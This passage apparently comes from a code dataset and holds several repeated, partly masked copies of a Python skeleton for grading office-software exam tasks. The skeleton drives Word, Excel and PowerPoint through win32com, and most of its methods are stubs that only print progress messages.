or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n\n\nclass WinOperation:\n\n def __init__(self):\n self.soucePath = ''\n self.destPath = ''\n self.destFilename = ''\n self.sourceFilename = ''\n\n def dele(self, destFilename):\n print('删除文件', destFilename)\n pass\n\n def rename(self, sourceFilename, destFilename):\n print(sourceFilename, '文件改名为', destFilename)\n pass\n\n def mov(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n\n def copy(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n\n def prop(self, destFilename):\n print('文件属性', destFilename)\n pass\n\n def realSourceFilename(self, soucePath, sourceFilename):\n return sourceFilename\n\n def realdestFilename(self, destPath, destFilename):\n return destFilename\n\n def judgeNew(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeDele(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n pass\n <function token>\n\n def judgeMov(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n sourceFilename = self.realSourceFilename('d:\\\\zrexam\\\\windows', source)\n destFilename = self.realdestFilename('d:\\\\zrexam\\\\windows', dest)\n self.mov(sourceFilename, destFilename)\n\n def judgeCopy(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n <function token>\n\n def judgeOperFromList(self, OperStrList):\n for item in OperStrList:\n pass\n\n def getOperStrListFromFile(self, filename):\n pass\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('新建') != -1:\n print('进入新建操作')\n self.judgeNew(OperStr)\n print('结束新建操作')\n if OperStr.find('删除') != -1:\n print('进入删除操作')\n self.judgeDele(OperStr)\n print('结束删除操作')\n if OperStr.find('复制') != -1:\n print('进入复制操作')\n self.judgeCopy(OperStr)\n print('结束复制操作')\n if OperStr.find('移动') != -1:\n print('进入移动操作')\n self.judgeMov(OperStr)\n print('结束移动操作')\n if OperStr.find('改名') != -1:\n print('进入改名操作')\n self.judgeRename(OperStr)\n print('结束改名操作')\n if OperStr.find('属性') != -1:\n print('进入属性操作')\n self.judgeProp(OperStr)\n print('结束属性操作')\n\n\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n\n def judgePage(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n\n\nclass WinOperation:\n\n def __init__(self):\n self.soucePath = ''\n self.destPath = ''\n self.destFilename = ''\n self.sourceFilename = ''\n\n def dele(self, destFilename):\n print('删除文件', destFilename)\n pass\n\n def rename(self, sourceFilename, destFilename):\n print(sourceFilename, '文件改名为', destFilename)\n pass\n\n def mov(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n\n def copy(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n\n def prop(self, destFilename):\n print('文件属性', destFilename)\n pass\n\n def realSourceFilename(self, soucePath, sourceFilename):\n return sourceFilename\n\n def realdestFilename(self, destPath, destFilename):\n return destFilename\n\n def judgeNew(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeDele(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n pass\n <function token>\n\n def judgeMov(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n sourceFilename = self.realSourceFilename('d:\\\\zrexam\\\\windows', source)\n destFilename = self.realdestFilename('d:\\\\zrexam\\\\windows', dest)\n self.mov(sourceFilename, destFilename)\n\n def judgeCopy(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n <function token>\n\n def judgeOperFromList(self, OperStrList):\n for item in OperStrList:\n pass\n\n def getOperStrListFromFile(self, filename):\n pass\n <function token>\n\n\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n\n def judgePage(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n\n\nclass WinOperation:\n\n def __init__(self):\n self.soucePath = ''\n self.destPath = ''\n self.destFilename = ''\n self.sourceFilename = ''\n\n def dele(self, destFilename):\n print('删除文件', destFilename)\n pass\n\n def rename(self, sourceFilename, destFilename):\n print(sourceFilename, '文件改名为', destFilename)\n pass\n\n def mov(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n\n def copy(self, sourceFilename, destFilename):\n print(sourceFilename, '移动文件为', destFilename)\n pass\n\n def prop(self, destFilename):\n print('文件属性', destFilename)\n pass\n\n def realSourceFilename(self, soucePath, sourceFilename):\n return sourceFilename\n\n def realdestFilename(self, destPath, destFilename):\n return destFilename\n\n def judgeNew(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n pass\n\n def judgeDele(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n pass\n <function token>\n\n def judgeMov(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n sourceFilename = self.realSourceFilename('d:\\\\zrexam\\\\windows', source)\n destFilename = self.realdestFilename('d:\\\\zrexam\\\\windows', dest)\n self.mov(sourceFilename, 